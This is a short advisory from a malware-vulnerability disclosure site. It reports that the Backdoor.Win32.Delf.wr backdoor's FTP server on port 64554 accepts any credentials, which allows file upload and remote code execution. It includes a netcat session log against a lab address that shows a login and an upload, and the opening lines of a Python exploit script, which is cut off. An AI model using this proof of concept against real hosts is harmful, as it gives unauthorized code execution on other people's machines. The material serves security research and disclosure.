Backdoor.Win32.Delf.wr malware suffers from bypass and code execution vulnerabilities.
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/fc74e80ff2f49380972904d77df1c0f1.txt
Contact: [email protected]
Vulnerability: Authentication Bypass RCE
Description: The CrazyInvadres Group⌐ bY SMURF_NS malware runs an FTP server on TCP port 64554. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Vuln ID: MVID-2021-0326
nc64.exe 192.168.18.129 64554
220 CrazyInvadres Group⌐ bY SMURF_NS ;)
331 Password required for mal.
230 User mal logged in.
215 UNIX Type: L8 Internet Component Suite
227 Entering Passive Mode (192,168,18,129,194,21).
250 CWD command successful. "C:/" is current directory.
150 Opening data connection for DOOM.js.
226 File received ok
from socket import *
f = open(DOOM, "rb")
EXE = f.read()
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